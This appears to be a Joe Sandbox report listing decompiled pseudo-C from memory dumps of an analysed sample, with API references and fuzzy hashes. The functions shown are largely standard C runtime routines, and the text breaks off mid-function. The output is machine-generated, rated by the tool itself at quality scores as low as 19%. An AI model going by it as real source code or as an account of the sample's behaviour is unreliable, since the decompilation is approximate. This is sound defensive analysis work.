ReleaseDC.USER32(00000000,00000000), ref: 0086F8B1

Strings

v, xrefs: 0086F8B1

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID: CapsDevice$Release
String ID: v
API String ID: 1035833867-1801730948
Opcode ID: e26796236af38f38e3860efabfbaedab7d6d58833438e895a37c51e217e85306
Instruction ID: acb13befa1a2973864b00b373e5901dcb17c48fed66d40916e0dfaec19843f84
Opcode Fuzzy Hash: e26796236af38f38e3860efabfbaedab7d6d58833438e895a37c51e217e85306
Instruction Fuzzy Hash: EDE0EC71942F31A7E7601B64BC0DF9B3E74BB0A712F054595FA55961D0C6B084008B91

Uniqueness

Uniqueness Score: -1.00%

Function 0087755A Relevance: 7.7, APIs: 5, Instructions: 168
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 63%

			E0087755A(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				signed char* _t52;
				signed int _t53;
				intOrPtr _t54;
				signed int _t58;
				signed int _t61;
				intOrPtr _t71;
				signed int _t75;
				signed int _t79;
				signed char _t81;
				signed char _t84;
				signed int _t85;
				signed int _t86;
				signed int _t97;
				signed char _t99;
				signed int* _t100;
				signed char* _t103;
				signed int _t109;
				void* _t113;

				_push(0x10);
				_push(0x890970);
				E00874780(__ebx, __edi, __esi);
				_t75 = 0;
				_t52 =  *(_t113 + 0x10);
				_t81 = _t52[4];
				if(_t81 == 0 ||  *((intOrPtr*)(_t81 + 8)) == 0) {
					L30:
					_t53 = 0;
					__eflags = 0;
					goto L31;
				} else {
					_t99 = _t52[8];
					if(_t99 != 0 ||  *_t52 < 0) {
						_t84 =  *_t52;
						_t109 =  *(_t113 + 0xc);
						if(_t84 >= 0) {
							_t109 = _t109 + 0xc + _t99;
						}
						 *(_t113 - 4) = _t75;
						_t103 =  *(_t113 + 0x14);
						if(_t84 >= 0 || ( *_t103 & 0x00000010) == 0) {
							L10:
							_t54 =  *((intOrPtr*)(_t113 + 8));
							__eflags = _t84 & 0x00000008;
							if((_t84 & 0x00000008) == 0) {
								__eflags =  *_t103 & 0x00000001;
								if(( *_t103 & 0x00000001) == 0) {
									_t85 =  *(_t54 + 0x18);
									__eflags = _t103[0x18] - _t75;
									if(_t103[0x18] != _t75) {
										__eflags = _t85;
										if(_t85 == 0) {
											goto L32;
										} else {
											__eflags = _t109;
											if(_t109 == 0) {
												goto L32;
											} else {
												__eflags =  *_t103 & 0x00000004;
												_t79 = 0;
												_t75 = (_t79 & 0xffffff00 | ( *_t103 & 0x00000004) != 0x00000000) + 1;
												__eflags = _t75;
												 *(_t113 - 0x20) = _t75;
												goto L29;
											}
										}
									} else {
										__eflags = _t85;
										if(_t85 == 0) {
											goto L32;
										} else {
											__eflags = _t109;
											if(_t109 == 0) {
												goto L32;
											} else {
												E00875220(_t109, E00875A9C(_t85,  &(_t103[8])), _t103[0x14]);
												goto L29;
											}
										}
									}
								} else {
									__eflags =  *(_t54 + 0x18);
									if( *(_t54 + 0x18) == 0) {
										goto L32;
									} else {
										__eflags = _t109;
										if(_t109 == 0) {
											goto L32;
										} else {
											E00875220(_t109,  *(_t54 + 0x18), _t103[0x14]);
											__eflags = _t103[0x14] - 4;
											if(_t103[0x14] == 4) {
												__eflags =  *_t109;
												if( *_t109 != 0) {
													_push( &(_t103[8]));
													_push( *_t109);
													goto L21;
												}
											}
											goto L29;
										}
									}
								}
							} else {
								_t97 =  *(_t54 + 0x18);
								goto L12;
							}
						} else {
							_t71 =  *0x8c869c; // 0x0
							 *((intOrPtr*)(_t113 - 0x1c)) = _t71;
							if(_t71 == 0) {
								goto L10;
							} else {
								 *0x88822c();
								_t97 =  *((intOrPtr*)(_t113 - 0x1c))();
								L12:
								if(_t97 == 0 || _t109 == 0) {
									L32:
									E0087D6B0(_t75, _t99, _t103, _t109);
									asm("int3");
									_push(8);
									_push(0x890990);
									E00874780(_t75, _t103, _t109);
									_t100 =  *(_t113 + 0x10);
									_t86 =  *(_t113 + 0xc);
									__eflags =  *_t100;
									if(__eflags >= 0) {
										_t105 = _t86 + 0xc + _t100[2];
										__eflags = _t86 + 0xc + _t100[2];
									} else {
										_t105 = _t86;
									}
									 *(_t113 - 4) =  *(_t113 - 4) & 0x00000000;
									_t110 =  *(_t113 + 0x14);
									_push( *(_t113 + 0x14));
									_push(_t100);
									_push(_t86);
									_t77 =  *((intOrPtr*)(_t113 + 8));
									_push( *((intOrPtr*)(_t113 + 8)));
									_t58 = E0087755A(_t77, _t105, _t110, __eflags) - 1;
									__eflags = _t58;
									if(_t58 == 0) {
										_t61 = E00878264(_t105, _t110[0x18], E00875A9C( *((intOrPtr*)(_t77 + 0x18)),  &(_t110[8])));
									} else {
										_t61 = _t58 - 1;
										__eflags = _t61;
										if(_t61 == 0) {
											_t61 = E00878274(_t105, _t110[0x18], E00875A9C( *((intOrPtr*)(_t77 + 0x18)),  &(_t110[8])), 1);
										}
									}
									 *(_t113 - 4) = 0xfffffffe;
									 *[fs:0x0] =  *((intOrPtr*)(_t113 - 0x10));
									return _t61;
								} else {
									 *_t109 = _t97;
									_push( &(_t103[8]));
									_push(_t97);
									L21:
									 *_t109 = E00875A9C();
									L29:
									 *(_t113 - 4) = 0xfffffffe;
									_t53 = _t75;
									L31:
									 *[fs:0x0] =  *((intOrPtr*)(_t113 - 0x10));
									return _t53;
								}
							}
						}
					} else {
						goto L30;
					}
				}
			}

0x0087755a
0x0087755c
0x00877561
0x00877566
0x00877568
0x0087756b
0x00877570
0x00877680
0x00877680
0x00877680
0x00000000
0x0087757f
0x0087757f
0x00877584
0x0087758e
0x00877590
0x00877595
0x0087759a
0x0087759a
0x0087759c
0x0087759f
0x008775a4
0x008775c6
0x008775c6
0x008775c9
0x008775cc
0x008775ea
0x008775ed
0x0087762c
0x0087762f
0x00877632
0x00877657
0x00877659
0x00000000
0x0087765b
0x0087765b
0x0087765d
0x00000000
0x0087765f
0x0087765f
0x00877664
0x00877668
0x00877668
0x00877669
0x00000000
0x00877669
0x0087765d
0x00877634
0x00877634
0x00877636
0x00000000
0x00877638
0x00877638
0x0087763a
0x00000000
0x0087763c
0x0087764d
0x00000000
0x00877652
0x0087763a
0x00877636
0x008775ef
0x008775ef
0x008775f3
0x00000000
0x008775f9
0x008775f9
0x008775fb
0x00000000
0x00877601
0x00877608
0x00877610
0x00877614
0x00877616
0x00877619
0x0087761e
0x0087761f
0x00000000
0x0087761f
0x00877619
0x00000000
0x00877614
0x008775fb
0x008775f3
0x008775ce
0x008775ce
0x00000000
0x008775ce
0x008775ab
0x008775ab
0x008775b0
0x008775b5
0x00000000
0x008775b7
0x008775b9
0x008775c2
0x008775d1
0x008775d3
0x00877692
0x00877692
0x00877697
0x00877698
0x0087769a
0x0087769f
0x008776a4
0x008776a7
0x008776aa
0x008776ad
0x008776b6
0x008776b6
0x008776af
0x008776af
0x008776af
0x008776b9
0x008776bd
0x008776c0
0x008776c1
0x008776c2
0x008776c3
0x008776c6
0x008776cf
0x008776cf
0x008776d2
0x00877708
0x008776d4
0x008776d4
0x008776d4
0x008776d7
0x008776ee
0x008776ee
0x008776d7
0x0087770d
0x00877717
0x00877723
0x008775e1
0x008775e1
0x008775e6
0x008775e7
0x00877621
0x00877628
0x0087766c
0x0087766c
0x00877673
0x00877682
0x00877685
0x00877691
0x00877691
0x008775d3
0x008775b5
0x00000000
0x00000000
0x00000000
0x00877584

APIs

___AdjustPointer.LIBCMT ref: 00877621
___AdjustPointer.LIBCMT ref: 00877644
_abort.LIBCMT ref: 00877692
___AdjustPointer.LIBCMT ref: 008776E0

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID: AdjustPointer$_abort
String ID:
API String ID: 2252061734-0
Opcode ID: bc3f18f157e74bc0a1cfdd7aaedbed20e4b58ea3d4d2799b75229fda6cc2a9b6
Instruction ID: 79b5b06d7c9fdc245ced1bad94df1a9a2fc49825c656ac199b29b2274dcebbae
Opcode Fuzzy Hash: bc3f18f157e74bc0a1cfdd7aaedbed20e4b58ea3d4d2799b75229fda6cc2a9b6
Instruction Fuzzy Hash: 4051D272609B069FDB299F18D891B6AB7A5FF60304F15C52DE809C729DE731EC80CB90

Uniqueness

Uniqueness Score: -1.00%

Function 008808B0 Relevance: 7.6, APIs: 5, Instructions: 68
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E008808B0() {
				int _v8;
				void* __ecx;
				void* _t6;
				int _t7;
				char* _t13;
				int _t17;
				void* _t19;
				char* _t25;
				WCHAR* _t27;

				_t27 = GetEnvironmentStringsW();
				if(_t27 == 0) {
					L7:
					_t13 = 0;
				} else {
					_t6 = E00880879(_t27);
					_pop(_t19);
					_t17 = _t6 - _t27 >> 1;
					_t7 = WideCharToMultiByte(0, 0, _t27, _t17, 0, 0, 0, 0);
					_v8 = _t7;
					if(_t7 == 0) {
						goto L7;
					} else {
						_t25 = E0087DA90(_t19, _t7);
						if(_t25 == 0 || WideCharToMultiByte(0, 0, _t27, _t17, _t25, _v8, 0, 0) == 0) {
							_t13 = 0;
						} else {
							_t13 = _t25;
							_t25 = 0;
						}
						E0087D758(_t25);
					}
				}
				if(_t27 != 0) {
					FreeEnvironmentStringsW(_t27);
				}
				return _t13;
			}

0x008808bf
0x008808c5
0x0088091d
0x0088091d
0x008808c7
0x008808c8
0x008808cd
0x008808d6
0x008808dc
0x008808e2
0x008808e7
0x00000000
0x008808e9
0x008808ef
0x008808f4
0x00880912
0x0088090c
0x0088090c
0x0088090e
0x0088090e
0x00880915
0x0088091a
0x008808e7
0x00880921
0x00880924
0x00880924
0x00880932

APIs

GetEnvironmentStringsW.KERNEL32 ref: 008808B9
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 008808DC

Part of subcall function 0087DA90: RtlAllocateHeap.NTDLL(00000000,?,?,?,00878B1E,?,0000015D,?,?,?,?,00879FFA,000000FF,00000000,?,?), ref: 0087DAC2

WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 00880902
_free.LIBCMT ref: 00880915
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 00880924

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID: ByteCharEnvironmentMultiStringsWide$AllocateFreeHeap_free
String ID:
API String ID: 336800556-0
Opcode ID: b2970129fb71642a95dd9302b5b09623204321686dea5c184b143acf9e588d59
Instruction ID: a2f99459e46305482abbedb74f99d30be799125ea910886fc086da01c7f00c33
Opcode Fuzzy Hash: b2970129fb71642a95dd9302b5b09623204321686dea5c184b143acf9e588d59
Instruction Fuzzy Hash: A1018873702619BF3361366A5C8CC7B6E6DFEC6BA13540129F905C7242EE64CD059BB1

Uniqueness

Uniqueness Score: -1.00%

Function 0087E189 Relevance: 7.6, APIs: 5, Instructions: 53
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 82%

			E0087E189(void* __ecx, void* __edx) {
				void* __ebx;
				void* __edi;
				intOrPtr _t2;
				void* _t4;
				void* _t10;
				void* _t11;
				void* _t13;
				void* _t16;
				void* _t17;
				long _t18;

				_t11 = __ecx;
				_t18 = GetLastError();
				_t10 = 0;
				_t2 =  *0x8936cc; // 0x6
				_t21 = _t2 - 0xffffffff;
				if(_t2 == 0xffffffff) {
					L2:
					_t17 = E0087FAB6(_t11, 1, 0x364);
					_pop(_t13);
					if(_t17 != 0) {
						_t4 = E0087F831(_t10, _t13, _t17, __eflags,  *0x8936cc, _t17);
						__eflags = _t4;
						if(_t4 != 0) {
							E0087DF6C(_t13, _t17, 0x8c88c8);
							E0087D758(_t10);
							__eflags = _t17;
							if(_t17 != 0) {
								goto L9;
							} else {
								goto L8;
							}
						} else {
							_push(_t17);
							goto L4;
						}
					} else {
						_push(_t10);
						L4:
						E0087D758();
						L8:
						SetLastError(_t18);
					}
				} else {
					_t17 = E0087F7DB(0, _t11, _t16, _t21, _t2);
					if(_t17 != 0) {
						L9:
						SetLastError(_t18);
						_t10 = _t17;
					} else {
						goto L2;
					}
				}
				return _t10;
			}

0x0087e189
0x0087e194
0x0087e196
0x0087e198
0x0087e19d
0x0087e1a0
0x0087e1ae
0x0087e1ba
0x0087e1bd
0x0087e1c0
0x0087e1d2
0x0087e1d7
0x0087e1d9
0x0087e1e4
0x0087e1ea
0x0087e1f2
0x0087e1f4
0x00000000
0x00000000
0x00000000
0x00000000
0x0087e1db
0x0087e1db
0x00000000
0x0087e1db
0x0087e1c2
0x0087e1c2
0x0087e1c3
0x0087e1c3
0x0087e1f6
0x0087e1f7
0x0087e1f7
0x0087e1a2
0x0087e1a8
0x0087e1ac
0x0087e1ff
0x0087e200
0x0087e206
0x00000000
0x00000000
0x00000000
0x0087e1ac
0x0087e20d

APIs

GetLastError.KERNEL32(?,?,?,0087DA82,0087FB08,?,0087E133,00000001,00000364,?,00878F0C,?,?,?,00878987,00000050), ref: 0087E18E
_free.LIBCMT ref: 0087E1C3
_free.LIBCMT ref: 0087E1EA
SetLastError.KERNEL32(00000000), ref: 0087E1F7
SetLastError.KERNEL32(00000000), ref: 0087E200

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID: ErrorLast$_free
String ID:
API String ID: 3170660625-0
Opcode ID: 45d0a6c46b38818915e92d1c99e44d5b6dae61775ac47176f17816815f757f7a
Instruction ID: 1d172b41db7ca721e9151eef626d44052f557e202980b140ff9b8d396785231f
Opcode Fuzzy Hash: 45d0a6c46b38818915e92d1c99e44d5b6dae61775ac47176f17816815f757f7a
Instruction Fuzzy Hash: 4C01F936184A11A78316672D5C46D1B357DFFC93763A1C174F61DD229AEF70C8015272

Uniqueness

Uniqueness Score: -1.00%

Function 0088117F Relevance: 7.5, APIs: 5, Instructions: 40
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E0088117F(intOrPtr* _a4) {
				intOrPtr _t6;
				intOrPtr* _t21;
				void* _t23;
				void* _t24;
				void* _t25;
				void* _t26;
				void* _t27;

				_t21 = _a4;
				if(_t21 != 0) {
					_t23 =  *_t21 -  *0x893d70; // 0x893d64
					if(_t23 != 0) {
						E0087D758(_t7);
					}
					_t24 =  *((intOrPtr*)(_t21 + 4)) -  *0x893d74; // 0x8c8d3c
					if(_t24 != 0) {
						E0087D758(_t8);
					}
					_t25 =  *((intOrPtr*)(_t21 + 8)) -  *0x893d78; // 0x8c8d3c
					if(_t25 != 0) {
						E0087D758(_t9);
					}
					_t26 =  *((intOrPtr*)(_t21 + 0x30)) -  *0x893da0; // 0x893d68
					if(_t26 != 0) {
						E0087D758(_t10);
					}
					_t6 =  *((intOrPtr*)(_t21 + 0x34));
					_t27 = _t6 -  *0x893da4; // 0x8c8d40
					if(_t27 != 0) {
						return E0087D758(_t6);
					}
				}
				return _t6;
			}

0x00881185
0x0088118a
0x0088118e
0x00881194
0x00881197
0x0088119c
0x008811a0
0x008811a6
0x008811a9
0x008811ae
0x008811b2
0x008811b8
0x008811bb
0x008811c0
0x008811c4
0x008811ca
0x008811cd
0x008811d2
0x008811d3
0x008811d6
0x008811dc
0x00000000
0x008811e4
0x008811dc
0x008811e7

APIs

_free.LIBCMT ref: 00881197

Part of subcall function 0087D758: RtlFreeHeap.NTDLL(00000000,00000000,?,00881216,?,00000000,?,00000000,?,0088123D,?,00000007,?,?,0088163A,?), ref: 0087D76E
Part of subcall function 0087D758: GetLastError.KERNEL32(?,?,00881216,?,00000000,?,00000000,?,0088123D,?,00000007,?,?,0088163A,?,?), ref: 0087D780

_free.LIBCMT ref: 008811A9
_free.LIBCMT ref: 008811BB
_free.LIBCMT ref: 008811CD
_free.LIBCMT ref: 008811DF

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 7854fe9969cd7821d80ab4d4a788a791fdb4ed16634249ed30cd4da7713088fd
Instruction ID: dc9844dd26371f00ebc28fbda5bdd5ec241c784bac1439349d280ede30bdfff5
Opcode Fuzzy Hash: 7854fe9969cd7821d80ab4d4a788a791fdb4ed16634249ed30cd4da7713088fd
Instruction Fuzzy Hash: 0BF04976540708AF8A64FBA8E9CEC1A77EDFE003503A85806F10ED7501CF20FD818B61

Uniqueness

Uniqueness Score: -1.00%

Function 00867D46 Relevance: 7.5, APIs: 5, Instructions: 39
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00867D46(void* __eflags, short* _a4, short* _a8, int _a12) {
				void* _t10;
				int _t22;
				int _t23;

				_t10 = E00878793(_a4);
				_t23 = _a12;
				if(_t10 + 1 >= _t23) {
					_t22 = _t23;
				} else {
					_t4 = E00878793(_a4) + 1; // 0x1
					_t22 = _t4;
				}
				if(E00878793(_a8) + 1 < _t23) {
					_t7 = E00878793(_a8) + 1; // 0x1
					_t23 = _t7;
				}
				return CompareStringW(0x400, 0x1001, _a4, _t22, _a8, _t23) - 2;
			}

0x00867d4e
0x00867d53
0x00867d5a
0x00867d6a
0x00867d5c
0x00867d65
0x00867d65
0x00867d65
0x00867d78
0x00867d83
0x00867d83
0x00867d83
0x00867da4

APIs

_wcslen.LIBCMT ref: 00867D4E
_wcslen.LIBCMT ref: 00867D5F
_wcslen.LIBCMT ref: 00867D6F
_wcslen.LIBCMT ref: 00867D7D
CompareStringW.KERNEL32(00000400,00001001,?,?,?,?,00000000,00000000,?,00862E75,?,?,00000000,?,?,?), ref: 00867D98

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID: _wcslen$CompareString
String ID:
API String ID: 3397213944-0
Opcode ID: 9f6a04c98bdc47f0693643080a223ef52e6a0f61c60f04606dc0006e2fe298ef
Instruction ID: 605e04d8c629ea19ed47d60df3fca1e5a51a7a79b1b09634731fa6b5446d4441
Opcode Fuzzy Hash: 9f6a04c98bdc47f0693643080a223ef52e6a0f61c60f04606dc0006e2fe298ef
Instruction Fuzzy Hash: CBF01732048128BBCF262F55EC09D9E3F26FF51BB0B218426F61A9A065CE32D96596D1

Uniqueness

Uniqueness Score: -1.00%

Function 0087D250 Relevance: 7.5, APIs: 5, Instructions: 30
COMMON

Download Yara Rule

C-Code - Quality: 91%

			E0087D250(signed int __ecx) {
				intOrPtr _t7;

				asm("lock xadd [eax], ecx");
				if((__ecx | 0xffffffff) == 0) {
					_t7 =  *0x893d60; // 0x2dc2c70
					if(_t7 != 0x893b40) {
						E0087D758(_t7);
						 *0x893d60 = 0x893b40;
					}
				}
				E0087D758( *0x8c88c0);
				 *0x8c88c0 = 0;
				E0087D758( *0x8c88c4);
				 *0x8c88c4 = 0;
				E0087D758( *0x8c8d10);
				 *0x8c8d10 = 0;
				E0087D758( *0x8c8d14);
				 *0x8c8d14 = 0;
				return 1;
			}

0x0087d259
0x0087d25d
0x0087d25f
0x0087d26b
0x0087d26e
0x0087d274
0x0087d274
0x0087d26b
0x0087d280
0x0087d28d
0x0087d293
0x0087d29e
0x0087d2a4
0x0087d2af
0x0087d2b5
0x0087d2bd
0x0087d2c6

APIs

_free.LIBCMT ref: 0087D26E

Part of subcall function 0087D758: RtlFreeHeap.NTDLL(00000000,00000000,?,00881216,?,00000000,?,00000000,?,0088123D,?,00000007,?,?,0088163A,?), ref: 0087D76E
Part of subcall function 0087D758: GetLastError.KERNEL32(?,?,00881216,?,00000000,?,00000000,?,0088123D,?,00000007,?,?,0088163A,?,?), ref: 0087D780

_free.LIBCMT ref: 0087D280
_free.LIBCMT ref: 0087D293
_free.LIBCMT ref: 0087D2A4
_free.LIBCMT ref: 0087D2B5

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 5c735f9b568e115cffdbe46c89d2af4bf91992a4252c2518149a00037f1a06cb
Instruction ID: d0d4b9ea92f8e6d81bd5b8f20f1c6430fda7ec077da3c0b716117a8865d5dedf
Opcode Fuzzy Hash: 5c735f9b568e115cffdbe46c89d2af4bf91992a4252c2518149a00037f1a06cb
Instruction Fuzzy Hash: F1F03AB0880320CB8A65BF2CEC558053BB2FF247713594116F22AD72BDCB308A01DBD2

Uniqueness

Uniqueness Score: -1.00%

Function 0086737C Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 197
COMMON

Download Yara Rule

C-Code - Quality: 19%

			E0086737C(intOrPtr* __ecx) {
				char _v516;
				char _v5124;
				signed int _t33;
				void* _t45;
				signed int _t46;
				signed int _t47;
				signed int _t48;
				signed int _t51;
				void* _t61;
				void* _t62;

				E00873AC0(0x1400);
				_t57 = __ecx;
				_t33 =  *(__ecx + 0x48);
				_t61 = _t33 - 0x74;
				if(_t61 > 0) {
					__eflags = _t33 - 0x83;
					if(_t33 == 0x83) {
						E008726D4();
						__eflags =  *(_t57 + 4);
						if( *(_t57 + 4) == 0) {
							E008668CD( &_v5124, E00864C77(0xc9), 0xa00);
						} else {
							E008639A9( &_v5124, 0xa00, E00864C77(0xca),  *(_t57 + 4));
						}
						return E0086FA04( *0x8aea18,  &_v5124, E00864C77(0x96), 0);
					}
				} else {
					if(_t61 == 0) {
						_push(0x456);
						L38:
						_push(E00864C77());
						_push( *_t57);
						L19:
						_t45 = E008707B6();
						L11:
						return _t45;
					}
					_t62 = _t33 - 0x16;
					if(_t62 > 0) {
						__eflags = _t33 - 0x38;
						if(__eflags > 0) {
							_t46 = _t33 - 0x39;
							__eflags = _t46;
							if(_t46 == 0) {
								_push(0x8c);
								goto L38;
							}
							_t47 = _t46 - 1;
							__eflags = _t47;
							if(_t47 == 0) {
								_push(0x6f);
								goto L38;
							}
							_t48 = _t47 - 1;
							__eflags = _t48;
							if(_t48 == 0) {
								_push( *((intOrPtr*)(__ecx + 4)));
								_push(0x406);
								goto L13;
							}
							_t51 = _t48 - 9;
							__eflags = _t51;
							if(_t51 == 0) {
								_push(0x343);
								goto L38;
							}
							_t33 = _t51 - 1;
							__eflags = _t33;
							if(_t33 == 0) {
								_push(0x86);
								goto L38;
							}
						} else {
							if(__eflags == 0) {
								_push(0x67);
								goto L38;
							}
							_t33 = _t33 - 0x17;
							__eflags = _t33 - 0xb;
							if(_t33 <= 0xb) {
								switch( *((intOrPtr*)(_t33 * 4 +  &M0086768C))) {
									case 0:
										_push(0xde);
										goto L18;
									case 1:
										_push(0xe1);
										goto L18;
									case 2:
										_push(0xb4);
										goto L38;
									case 3:
										_push(0x69);
										goto L38;
									case 4:
										_push(0x6a);
										goto L38;
									case 5:
										_push( *((intOrPtr*)(__esi + 4)));
										_push(0x68);
										goto L13;
									case 6:
										_push(0x46f);
										goto L38;
									case 7:
										_push(0x470);
										goto L38;
									case 8:
